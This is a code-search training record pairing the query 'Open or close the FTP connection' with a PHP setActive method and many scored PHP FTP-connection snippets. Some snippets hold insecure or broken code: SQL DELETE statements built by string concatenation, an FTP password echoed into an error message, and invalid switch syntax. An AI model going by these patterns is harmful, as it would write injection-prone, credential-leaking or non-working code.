$vdo->exec('delete from products where id = '. $product_id);\n $vdo->exec('delete from options_values where product_id = '. $product_id);\n return $product_id;\n }", "public function destroy($id)\n {\n $header_product = Header_product::findOrFail($id);\n $product_id = $header_product->product_id;\n $cantidad = $header_product->cantidad;\n $product = Product::findOrFail($product_id);\n $product->update([\n 'cantidad' => $product->cantidad+$cantidad\n ]);\n $result = $header_product->delete();\n if ($result) \n {\n return response()->json(['success' => 'true']);\n } \n else \n {\n return response()->json(['success' => 'false']);\n }\n }" ]
[ "0.8465666", "0.8246554", "0.82287824", "0.8198245", "0.8165475", "0.81473094", "0.8134259", "0.81138396", "0.8072403", "0.80334145", "0.8028247", "0.8021898", "0.80002266", "0.7994366", "0.7980612", "0.7975094", "0.796959", "0.79445964", "0.79021513", "0.7893905", "0.78937626", "0.786283", "0.78523123", "0.78278464", "0.7814641", "0.78069156", "0.7795645", "0.77841204", "0.7781275", "0.7778102", "0.77765715", "0.7772318", "0.77677155", "0.7762228", "0.7758616", "0.7750543", "0.7747396", "0.77369493", "0.7734479", "0.77305377", "0.7716492", "0.7716184", "0.7699416", "0.76736945", "0.76696193", "0.7658968", "0.76553935", "0.76515716", "0.7650144", "0.76379883", "0.7626502", "0.76253146", "0.7622866", "0.7618978", "0.7618722", "0.7612731", "0.7604575", "0.76015806", "0.75965476", "0.7595784", "0.75936216", "0.75935864", "0.75892156", "0.7586219", "0.75840294", "0.7582423", "0.7579937", "0.75719804", "0.7571902", "0.7571667", "0.7570802", "0.7569294", "0.75636464", "0.755759", "0.7552945", "0.75505704", "0.75504786", "0.7548135", "0.7546643", "0.7545694", "0.753917", "0.75359654", "0.7533678", "0.7533531", "0.7526384", "0.75247353", "0.75246066", "0.7519031", "0.75182176", "0.7514144", "0.7511625", "0.7510913", "0.75054574", "0.7504933", "0.75035226", "0.75011945", "0.7500806", "0.74951994", "0.74932843", "0.7493164" ]
0.7816226
24
Open or close the FTP connection.
public function setActive($value) { if ($value != $this->_active) { if ($value) $this->connect(); else $this->close(); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function connect() {\n if ($this->_connection === null) {\n // Connect - SSL?\n $this->_connection = $this->ssl ? ftp_ssl_connect($this->host, $this->port, $this->timeout) : ftp_connect($this->host, $this->port, $this->timeout);\n// $this->_connection = $this->ssl ? ftp_connect($this->host, $this->port, $this->timeout) : ftp_ssl_connect($this->host, $this->port, $this->timeout);\n // Connection anonymous?\n if (!empty($this->username) AND !empty($this->password)) {\n $login_result = ftp_login($this->_connection, $this->username, $this->password);\n } else {\n $login_result = true;\n }\n\n // Check connection\n if (!$this->_connection)\n throw new CHttpException(403, 'FTP Library Error: Connection failed!');\n\n // Check login\n if ((empty($this->username) AND empty($this->password)) AND !$login_result)\n throw new CHttpException(403, 'FTP Library Error: Login failed!');\n\n $this->_active = true;\n }\n }", "public function ftpConnect() {\n\t\t\t$this->ftpConnection = ftp_connect($this->ftp['server']);\n\t\t\t\n\t\t\tif(ftp_login($this->ftpConnection, $this->ftp['user'], $this->ftp['password'])) {\n\t\t\t\t\n\t\t\t\tif(!empty($this->ftp['defaultDirectory'])) {\n\t\t\t\t\tftp_chdir($this->ftpConnection, $this->ftp['defaultDirectory']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->system->addSyslog($this->name, \"FTP successfully connected.\");\n\t\t\t\treturn $this->ftpConnection;\n\t\t\t}\n\t\t\telse $this->system->addSyslog($this->name, \"Can't connect to FTP.\");\n\t\t\t\n\t\t\treturn null;\n\t\t}", "public function connect()\n {\n $server = $this->server;\n\n // Make sure the path has a trailing slash.\n $server['path'] = rtrim($server['path'], '/').'/';\n\n // Make the connection.\n $connection = @ftp_connect($server['host'], $server['port']);\n\n if (! $connection)\n {\n throw new Exception(\"Couldn't connect to '{$server['host']}'.\");\n }\n\n // Try logging in.\n if (! @ftp_login($connection, $server['username'], $server['password']))\n {\n throw new Exception(\"Couldn't login to '{$server['host']}' with user '{$server['username']}'\");\n }\n\n // Set passive mode from connection config.\n ftp_pasv($connection, (bool) $server['passive']);\n\n // Try changing the directory to the one set\n // in the connection config.\n if (! ftp_chdir($connection, $server['path']))\n {\n throw new Exception(\"Couldn't change the FTP directory to '{$server['path']}'.\");\n }\n\n $this->connection = $connection;\n }", "function _connectFTP()\n\t{\n\t\tJoomlapackLogger::WriteLog(_JP_LOG_DEBUG, 'Connecting to remote FTP');\n\t\t// Connect to the FTP server\n\t\tif($this->_usessl)\n\t\t{\n\t\t\tif(function_exists('ftp_ssl_connect'))\n\t\t\t{\n\t\t\t\t$this->_ftphandle = @ftp_ssl_connect($this->_host, $this->_port);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->_ftphandle = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_ftphandle = @ftp_connect($this->_host, $this->_port);\n\t\t}\n\n\t\tif(!is_resource($this->_ftphandle))\n\t\t{\n\t\t\t$this->setError('Could not connect to remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Login\n\t\tif(!@ftp_login($this->_ftphandle, $this->_user, $this->_pass))\n\t\t{\n\t\t\t$this->setError('Invalid username/password for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Change to initial directory\n\t\tif(!@ftp_chdir($this->_ftphandle, $this->_initdir))\n\t\t{\n\t\t\t$this->setError('Invalid initial directory for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_currentdir = $this->_initdir;\n\n\t\t@ftp_pasv($this->_ftphandle, $this->_passive);\n\t\treturn true;\n\t}", "function closeFtpConnection() {\n global $objFtp;\n\n if (isset($objFtp)) {\n @ftp_close($objFtp);\n }\n }", "public function close()\n {\n if ($this->isConnected()) {\n ftp_close($this->connection);\n }\n }", "protected function closeFtpConnection()\n {\n if (is_resource($this->ftpConnection)) {\n ftp_close($this->ftpConnection);\n }\n\n $this->ftpConnection = null;\n }", "public function connect() {\n if(!isset($this->_ip) || !isset($this->_ftpUsername) || !isset($this->_ftpPassword)) {\n trigger_error(\"IP, username, or password is not set\");\n return FALSE;\n }\n \n $this->_ftpConnection = ftp_connect($this->_ip);\n \n if(!$this->_ftpConnection) {\n trigger_error(\"Couldn't open FTP connection to \" . $this->_ip);\n return FALSE;\n }\n \n if(!ftp_login($this->_ftpConnection, $this->_ftpUsername, $this->_ftpPassword)) {\n trigger_error(\"Couldn't login to FTP\");\n return FALSE;\n }\n \n $this->_connected = TRUE;\n \n return TRUE;\n }", "function close() {\n\t\tftp_close($this->conn_id);\n\t}", "function closeFTP()\n\t{\n\t\tftp_close($this->conn_id);\n\t}", "protected function getFtpConnection()\n {\n if (is_null($this->ftpConnection)) {\n $host = $this->connection['host'];\n $user = $this->connection['user'];\n $pass = $this->connection['pass'];\n\n $this->ftpConnection = $this->connect($host, $user, $pass);\n\n // set timeout\n ftp_set_option($this->ftpConnection, FTP_TIMEOUT_SEC, $this->connection['timeout']);\n\n // set passive mode if it's defined\n if (null !== $pasv = $this->getPasv()) {\n ftp_pasv($this->ftpConnection, $pasv);\n }\n }\n\n return $this->ftpConnection;\n }", "public function connect($options = array())\n {\n //todo can this be a stream?\n $this->temp = '/Users/amystephen/Sites/Filesystem/.dev/Tests/Hold/amy.txt';\n\n parent::connect($options);\n\n if ($this->is_connected === true) {\n return;\n }\n\n try {\n if ($this->getConnectType() == 'ftps') {\n\n if (function_exists('ftp_ssl_connect')) {\n throw new InvalidArgumentException\n ('ftp_ssl_connect must be enabled in PHP to use SSL over Ftp');\n }\n\n $id = \\ftp_ssl_connect($this->host, $this->port, $this->timeout);\n\n } else {\n $id = \\ftp_connect($this->host, $this->port, $this->timeout);\n }\n\n $this->setConnection($id);\n\n } catch (\\Exception $e) {\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Unable to connect to the Ftp Server '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n if ($this->is_connected === false) {\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Not connected '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n \\ftp_pasv($this->connection, $this->getPassiveMode());\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Unable to set passive mode for Ftp Server '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n $this->login();\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Login failed for ' . ' User: ' . $this->username\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n $this->is_windows = false;\n\n $ftpSystemType = \\ftp_systype($this->getConnection());\n\n if (stripos($ftpSystemType, 'win') == false) {\n $this->is_windows = false;\n } else {\n $this->is_windows = true;\n }\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Login failed for ' . ' User: ' . $this->username\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n try {\n if ($this->initial_directory === null) {\n $results = true;\n } else {\n $results = \\ftp_chdir($this->connection, $this->initial_directory);\n }\n\n } catch (\\Exception $e) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Changing Ftp Directory failed. Directory: '\n . $this->initial_directory);\n }\n\n if ($results === false) {\n\n throw new \\InvalidArgumentException\n ('Filesystem Adapter Ftp: Unable to change directory: '\n . $this->root . ' for Ftp Server '\n . ' Host: ' . $this->host . ' Port: ' . $this->port);\n }\n\n return;\n }", "protected function initConnection()\n {\n\n $host = $this->connParam['host'] ?? null;\n $userName = $this->connParam['user'] ?? null;\n $password = $this->connParam['password'] ?? null;\n\n $this->FTPHandle = $this->connectFTP($host);\n\n return $this->loginFTP($this->FTPHandle, $userName, $password);\n }", "function ftplib()\r\n {\r\n\t $this->_debug = false;\r\n $this->_umask = 0022;\r\n $this->_timeout = 30;\r\n $this->_BINARY = 1;\r\n $this->_ASCII = 0;\r\n /*if (function_exists(\"ftp_connect\")) {\r\n \t\t$this->_use_mod_ftp = true;\r\n \t} else {*/\r\n \r\n\t\t\t$this->_use_mod_ftp = false;\r\n \t//}\r\n }", "function setup($isPassive=TRUE) {\n\t\t// set up basic connection\n\t\t$this->conn_id = ftp_connect($this->ftp_server, $this->ftp_port); \n\n\t\t// login with username and password\n\t\t$this->login_result = ftp_login($this->conn_id, $this->ftp_user_name, $this->ftp_user_pass); \n\n\t\t// check connection\n\t\tif ((!$this->conn_id) || (!$this->login_result)) { \n\t\t\t\techo \"FTP connection has failed!\\n\";\n\t\t\t\techo \"Attempted to connect to $this->ftp_server for user $this->ftp_user_name\\n\"; \n\t\t\t\texit; \n\t\t} else {\n\t\t\t\techo \"Connected to $this->ftp_server,\\n\\t$this->ftp_user_name\\n\";\n\t\t}\n\n\t\tif($isPassive){\n\t\t\tftp_pasv($this->getConn_id(), TRUE);\n\t\t}\n\t}", "public function open($hostname) {\n if (true === $this->config->useSSL) {\n $this->connection = ftp_ssl_connect($hostname, $this->config->port, $this->config->timeout);\n } else {\n $this->connection = ftp_connect($hostname, $this->config->port, $this->config->timeout);\n }\n\n if (false === $this->connection) {\n throw new FtpClientConnectException('Could not connect to host ' . $hostname);\n }\n return $this;\n }", "function ftpclient($ftp = null, $cmd = '', $arg = null, $arg2 = null) {\nstatic $conn = null;\n\n\tif ($ftp == null) {\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == '') {\n\t\tif (!$conn) {\n\t\t\t$res = ftpclient($ftp,'connect');\n\t\t\tif ($res) {\n\t\t\t\t$u = ftpclient_value($ftp,'user');\n\t\t\t\tif ($u && !ftpclient($ftp,'login')) {\n\t\t\t\t\tftpclient($ftp,'close');\n\t\t\t\t\t$res = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == 'connect') {\n\t\t$p = ftpclient_value($ftp,'port',21);\n\t\t$t = ftpclient_value($ftp,'timeout',90);\n\t\t$res = ftp_connect($ftp['host'],$p,$t);\n\t\tif ($res) {\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif (!$conn) {\n\t\treturn $conn;\n\t}\n\n\tswitch $cmd {\n\tcase 'quit':\n\tcase 'close':\n\t\t$res = ftp_close($conn);\n\t\t$conn = null;\n\t\tbreak;\n\tcase 'login':\n\t\t$res = ftp_login($conn,$ftp['user'],$ftp['password']);\n\t\tif (!$res && empty($ftp['stay'])) {\n\t\t\tftpclient($ftp,'close');\n\t\t\t$conn = null;\n\t\t}\n\t\tbreak;\n\tcase 'pasv':\n\t\t$p = ftpclient_value($ftp,'pasv',true);\n\t\t$res = ftp_pasv($conn,$p);\n\t\tbreak;\n\tcase 'pwd':\n\t\t$res = ftp_pwd($conn);\n\t\tbreak;\n\tcase 'get':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_get($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase 'put':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_put($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase default:\n\t\t$res = false;\n\t\tbreak;\n\t}\n\n\treturn $res;\n}", "public function __destruct() {\r\n ftp_close($this->connessione);\r\n }", "function createFTPConnection()\n{\n $settings = getSettings();\n if (empty($settings['seedbox']) || empty($settings['seedbox']['host']) || empty($settings['seedbox']['username'])\n || empty($settings['seedbox']['password'])\n ) {\n addLog('ERROR', 'No setting file found.', 'ftp');\n return false;\n } else {\n // Connect to seedbox with SSL\n $ftp = ftp_ssl_connect($settings['seedbox']['host'], intval($settings['seedbox']['port']));\n if (!$ftp) {\n addLog('ERROR', 'Wrong FTP host.', 'ftp');\n return false;\n }\n // Log with information set on settings screen\n if (!ftp_login($ftp, $settings['seedbox']['username'], $settings['seedbox']['password'])) {\n addLog('ERROR', 'Wrong FTP login or password.', 'ftp');\n return false;\n };\n\n // Enter on passive mode\n if (ftp_pasv($ftp, true)) {\n return $ftp;\n } else {\n addLog('ERROR', 'Unable to switch to passive mode.', 'ftp');\n return false;\n }\n }\n}", "function initFtp($connection) {\n $wrapper = new FTPWrapper($connection);\n\n /**\n * This factory creates Permissions models from a given permission string (rw-)\n */\n $permFactory = new PermissionsFactory;\n\n /**\n * This factory creates Filesystem models from a given string, ex:\n * drwxr-x--- 3 vincent vincent 4096 Jul 12 12:16 public_ftp\n *\n * It needs the PermissionsFactory so as to instanciate the given permissions in\n * its model\n */\n $fsFactory = new FilesystemFactory($permFactory);\n\n /**\n * If your server runs on WINDOWS, you can use a Windows filesystem factory instead\n */\n // $fsFactory = new WindowsFilesystemFactory;\n\n /**\n * This manager focuses on operations on remote files and directories\n * It needs the FTPWrapper so as to do operations on the serveri\n * It needs the FilesystemFfactory so as to create models\n */\n $manager = new FTPFilesystemManager($wrapper, $fsFactory);\n\n\n /**\n * This is the downloader voter. It loads multiple DownloaderVotable class and\n * checks which one is needed on given options\n */\n $dlVoter = new DownloaderVoter;\n\n /**\n * Loads up default FTP Downloaders\n * It needs the FTPWrapper to be able to share them with the downloaders\n */\n $dlVoter->addDefaultFTPDownloaders($wrapper);\n\n /**\n * This is the uploader voter. It loads multiple UploaderVotable class and\n * checks which one is needed on given options\n */\n $ulVoter = new UploaderVoter;\n\n /**\n * Loads up default FTP Uploaders\n * It needs the FTPWrapper to be able to share them with the uploaders\n */\n $ulVoter->addDefaultFTPUploaders($wrapper);\n\n /**\n * This is the creator voter. It loads multiple CreatorVotable class and\n * checks which one is needed on the given options\n */\n $crVoter = new CreatorVoter;\n\n /**\n * Loads up the default FTP creators.\n * It needs the FTPWrapper and the FTPFilesystemManager to be able to share\n * them whith the creators\n */\n $crVoter->addDefaultFTPCreators($wrapper, $manager);\n\n /**\n * This is the deleter voter. It loads multiple DeleterVotable classes and\n * checks which one is needed on the given options\n */\n $deVoter = new DeleterVoter;\n\n /**\n * Loads up the default FTP deleters.\n * It needs the FTPWrapper and the FTPFilesystemManager to be able to share\n * them with the deleters\n */\n $deVoter->addDefaultFTPDeleters($wrapper, $manager);\n\n /**\n * Finally creates the main FTP\n * It needs the manager to do operations on files\n * It needs the download voter to pick-up the right downloader on ->download\n * It needs the upload voter to pick-up the right uploader on ->upload\n * It needs the creator voter to pick-up the right creator on ->create\n * It needs the deleter voter to pick-up the right deleter on ->delete\n */\n return new FTP($manager, $dlVoter, $ulVoter, $crVoter, $deVoter);\n\n}", "private function initShopConnection()\n\t{\n\t\t$this->ftpConnection = new FtpConnector($this->shop->ftp_host, $this->shop->ftp_login, $this->shop->ftp_password);\n\t}", "function Pico_GetFTPObject()\n{\n\t// get ftp object if we need one\n\tif (!isset($GLOBALS['pico_ftp_obj']))\n\t{\n\t\t$ftp = @Pico_ConnectFTP();\n\t\t$GLOBALS['pico_ftp_obj'] = $ftp;\n\t}\n\n\t$ftp = $GLOBALS['pico_ftp_obj'];\n\tif (is_object($ftp)) { return $ftp; }\n\n\treturn false;\n}", "public function close() {\n if($this->_connected) {\n if(ftp_close($this->_ftpConnection)) {\n $this->_ftpConnection = FALSE;\n $this->_connected = FALSE;\n return TRUE;\n } else {\n trigger_error(\"Couldn't close connection\");\n return FALSE;\n }\n } else {\n trigger_error(\"Tried to close non-existent connection\");\n return FALSE;\n }\n }", "public function __construct() {\n\n\t\tparent::__construct();\n\n\t\t// Handle errors from ftp_* functions that throw warnings for things like invalid username / password, failed directory changes, and failed data connections\n\t\tset_error_handler( array( $this, 'handle_errors' ) );\n\n\t\t// setup connection\n\t\t$this->link = null;\n\n\t\tif ( 'ftps' == $this->security && function_exists( 'ftp_ssl_connect' ) ) {\n\n\t\t\t$this->link = ftp_ssl_connect( $this->server, $this->port, $this->timeout );\n\n\t\t} elseif ( 'ftps' !== $this->security ) {\n\n\t\t\t$this->link = ftp_connect( $this->server, $this->port, $this->timeout );\n\t\t}\n\n\t\t// check for successful connection\n\t\tif ( ! $this->link ) {\n\n\t\t\tthrow new Exception( __( \"Could not connect via FTP to {$this->server} on port {$this->port}, check server address and port.\", 'woocommerce-customer-order-csv-export' ) );\n\t\t}\n\n\t\t// attempt to login, note that incorrect credentials throws an E_WARNING PHP error\n\t\tif ( ! ftp_login( $this->link, $this->username, $this->password ) ) {\n\n\t\t\tthrow new Exception( __( \"Could not authenticate via FTP with username {$this->username} and password <hidden>. Check username and password.\", 'woocommerce-customer-order-csv-export' ) );\n\t\t}\n\n\t\t// set passive mode if enabled\n\t\tif ( $this->passive_mode ) {\n\n\t\t\t// check for success\n\t\t\tif ( ! ftp_pasv( $this->link, true ) ) {\n\n\t\t\t\tthrow new Exception( __( 'Could not set passive mode', 'woocommerce-customer-order-csv-export' ) );\n\t\t\t}\n\t\t}\n\n\t\t// change directories if initial path is populated, note that failing to change directory throws an E_WARNING PHP error\n\t\tif ( $this->path ) {\n\n\t\t\t// check for success\n\t\t\tif ( ! ftp_chdir( $this->link, '/' . $this->path ) ) {\n\n\t\t\t\tthrow new Exception( __( \"Could not change directory to {$this->path} - check path exists.\", 'woocommerce-customer-order-csv-export' ) );\n\t\t\t}\n\t\t}\n\t}", "function fn_ftp_connect($settings, $show_notifications = false)\n{\n $result = true;\n\n if (function_exists('ftp_connect')) {\n if (!empty($settings['ftp_hostname'])) {\n $ftp_port = !empty($settings['ftp_port']) ? $settings['ftp_port'] : '21';\n if (substr_count($settings['ftp_hostname'], ':') > 0) {\n $start_pos = strrpos($settings['ftp_hostname'], ':');\n $ftp_port = substr($settings['ftp_hostname'], $start_pos + 1);\n $settings['ftp_hostname'] = substr($settings['ftp_hostname'], 0, $start_pos);\n }\n\n $ftp = @ftp_connect($settings['ftp_hostname'], $ftp_port);\n if (!empty($ftp)) {\n if (@ftp_login($ftp, $settings['ftp_username'], $settings['ftp_password'])) {\n\n ftp_pasv($ftp, true);\n\n if (!empty($settings['ftp_directory'])) {\n @ftp_chdir($ftp, $settings['ftp_directory']);\n }\n\n $files = ftp_nlist($ftp, '.');\n if (!empty($files) && in_array('config.php', $files)) {\n Registry::set('ftp_connection', $ftp);\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_cart_directory_not_found'));\n }\n $result = false;\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_login_failed'));\n }\n $result = false;\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_ftp_connect_failed'));\n }\n $result = false;\n }\n }\n } else {\n if ($show_notifications) {\n fn_set_notification('E', __('error'), __('text_uc_no_ftp_module'));\n }\n $result = false;\n }\n\n return $result;\n}", "function _close()\n\t{\n\t\tif (!$this->connection)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn @ftp_quit($this->connection);\n\t}", "protected function _connectFtp($ftp){\n\t\t\tif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == true){\n\t\t\t\treturn true; //on a déjà la bonne connexion\n\t\t\t}\n\t\t\telseif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == false){ //on n'est pas encore connecté\n\t\t\t\t$this->_connexion = ftp_connect(\n\t\t\t\t\t$this->_connexionId[$ftp]['host'], \n\t\t\t\t\t$this->_connexionId[$ftp]['port'],\n\t\t\t\t\t$this->_connexionId[$ftp]['timeout']\n\t\t\t\t);\n\n\t\t\t\tif($this->_connexion == true){\n\t\t\t\t\tif(ftp_login($this->_connexion, $this->_connexionId[$ftp]['username'], $this->_connexionId[$ftp]['password']) == true){\n\t\t\t\t\t\t$this->_connected[$ftp] = true;\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this->_addError('La connexion ftp de nom '.$ftp.' a échoué avec : username : '.$this->_connexionId[$ftp]['username'].', password : '.$this->_connexionId[$ftp]['password'], __FILE__, __LINE__, ERROR);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$this->_addError('La connexion ftp de nom '.$ftp.' a échoué avec : hôte : '.$this->_connexionId[$ftp]['host'].', port : '.$this->_connexionId[$ftp]['port'], __FILE__, __LINE__, ERROR);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$this->_addError('La connexion ftp à laquelle vous voulez vous connecter n\\'existe pas', __FILE__, __LINE__, ERROR);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "public function close() {\n if (false !== $this->connection) {\n ftp_close($this->connection);\n $this->connection = false;\n return true;\n }\n return false;\n }", "function _open_data_connection()\n\t{\n\t\t// Try to find out whether we have a IPv4 or IPv6 (control) connection\n\t\tif (function_exists('stream_socket_get_name'))\n\t\t{\n\t\t\t$socket_name = stream_socket_get_name($this->connection, true);\n\t\t\t$server_ip = substr($socket_name, 0, strrpos($socket_name, ':'));\n\t\t}\n\n\t\tif (!isset($server_ip) || preg_match(get_preg_expression('ipv4'), $server_ip))\n\t\t{\n\t\t\t// Passive mode\n\t\t\t$this->_send_command('PASV', '', false);\n\n\t\t\tif (!$ip_port = $this->_check_command(true))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// open the connection to start sending the file\n\t\t\tif (!preg_match('#[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+#', $ip_port, $temp))\n\t\t\t{\n\t\t\t\t// bad ip and port\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t$temp = explode(',', $temp[0]);\n\t\t\t$server_ip = $temp[0] . '.' . $temp[1] . '.' . $temp[2] . '.' . $temp[3];\n\t\t\t$server_port = $temp[4] * 256 + $temp[5];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Extended Passive Mode - RFC2428\n\t\t\t$this->_send_command('EPSV', '', false);\n\n\t\t\tif (!$epsv_response = $this->_check_command(true))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// Response looks like \"229 Entering Extended Passive Mode (|||12345|)\"\n\t\t\t// where 12345 is the tcp port for the data connection\n\t\t\tif (!preg_match('#\\(\\|\\|\\|([0-9]+)\\|\\)#', $epsv_response, $match))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$server_port = (int) $match[1];\n\n\t\t\t// fsockopen expects IPv6 address in square brackets\n\t\t\t$server_ip = \"[$server_ip]\";\n\t\t}\n\n\t\t$errno = 0;\n\t\t$errstr = '';\n\n\t\tif (!$this->data_connection = @fsockopen($server_ip, $server_port, $errno, $errstr, $this->timeout))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t@stream_set_timeout($this->data_connection, $this->timeout);\n\n\t\treturn true;\n\t}", "private function closeShopConnection()\n\t{\n\t\t$this->ftpConnection = null;\n\t}", "function TpDbgConnect()\n{\n global $TpDbg;\n if (!isset($TpDbg))\n {\n $TpDbg = ftp_connect(\"localhost\", 999, 20);\n if ($TpDbg)\n ftp_login($TpDbg, \"PHP\", \"TURBO\");\n else\n echo \"TurboPhp: Could not connect to debug server.<br>\";\n }\n return $TpDbg;\n}", "function connect($host = null, $port = null) {\r\n\t\t$this->_matcher = null;\r\n\t\tif ( $host !== null ) {\r\n\t\t\t$this->setHostname($host);\r\n\t\t}\r\n\t\tif ( $port !== null ) {\r\n\t\t\t$this->setPort($port);\r\n\t\t}\r\n\t\t$handle = ftp_connect($this->getHostname(), $this->getPort(), $this->getTimeoutOption());\r\n\t\tif ( !$handle ) {\r\n\t\t\t$this->_handle = false;\r\n\t\t\tthrow new ftpConnectException($this->getHostname(), $this->getPort());\r\n\t\t} else {\r\n\t\t\t$this->_handle = $handle;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function applyConnection()\n\t{\n\t\t$result = (object) [\n\t\t\t'status' => true,\n\t\t\t'message' => '',\n\t\t\t'ignorable' => false,\n\t\t];\n\n\t\t// Get the parameters from the request\n\t\t$transferOption = $this->input->getCmd('method', 'ftp');\n\t\t$force = $this->input->getInt('force', 0);\n\t\t$ftpHost = $this->input->get('host', '', 'raw', 2);\n\t\t$ftpPort = $this->input->getInt('port', null);\n\t\t$ftpUsername = $this->input->get('username', '', 'raw', 2);\n\t\t$ftpPassword = $this->input->get('password', '', 'raw', 2);\n\t\t$ftpPubKey = $this->input->get('public', '', 'raw', 2);\n\t\t$ftpPrivateKey = $this->input->get('private', '', 'raw', 2);\n\t\t$ftpPassive = $this->input->getInt('passive', 1);\n\t\t$ftpPassiveFix = $this->input->getInt('passive_fix', 1);\n\t\t$ftpDirectory = $this->input->get('directory', '', 'raw', 2);\n\t\t$chunkMode = $this->input->getCmd('chunkMode', 'chunked');\n\t\t$chunkSize = $this->input->getInt('chunkSize', '5242880');\n\n\t\t// Fix the port if it's missing\n\t\tif (empty($ftpPort))\n\t\t{\n\t\t\tswitch ($transferOption)\n\t\t\t{\n\t\t\t\tcase 'ftp':\n\t\t\t\tcase 'ftpcurl':\n\t\t\t\t\t$ftpPort = 21;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'ftps':\n\t\t\t\tcase 'ftpscurl':\n\t\t\t\t\t$ftpPort = 990;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'sftp':\n\t\t\t\tcase 'sftpcurl':\n\t\t\t\t\t$ftpPort = 22;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// Store everything in the session\n\t\t$this->container->platform->setSessionVar('transfer.transferOption', $transferOption, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.force', $force, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpHost', $ftpHost, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPort', $ftpPort, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpUsername', $ftpUsername, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPassword', $ftpPassword, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPubKey', $ftpPubKey, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPrivateKey', $ftpPrivateKey, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpDirectory', $ftpDirectory, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPassive', $ftpPassive ? 1 : 0, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPassiveFix', $ftpPassiveFix ? 1 : 0, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.chunkMode', $chunkMode, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.chunkSize', $chunkSize, 'akeeba');\n\n\t\t/** @var \\Akeeba\\Backup\\Admin\\Model\\Transfer $model */\n\t\t$model = $this->getModel();\n\n\t\ttry\n\t\t{\n\t\t\t$config = $model->getFtpConfig();\n\t\t\t$model->testConnection($config);\n\t\t}\n\t\tcatch (TransferIgnorableError $e)\n\t\t{\n\t\t\t$result = (object) [\n\t\t\t\t'status' => false,\n\t\t\t\t'ignorable' => true,\n\t\t\t\t'message' => $e->getMessage(),\n\t\t\t];\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$result = (object) [\n\t\t\t\t'status' => false,\n\t\t\t\t'message' => $e->getMessage(),\n\t\t\t\t'ignorable' => false,\n\t\t\t];\n\t\t}\n\n\t\t@ob_end_clean();\n\t\techo '###' . json_encode($result) . '###';\n\t\t$this->container->platform->closeApplication();\n\t}", "public function open() {\n\n\t\t$this->openConnection();\n\n\t\tif (parent::ping() === false) 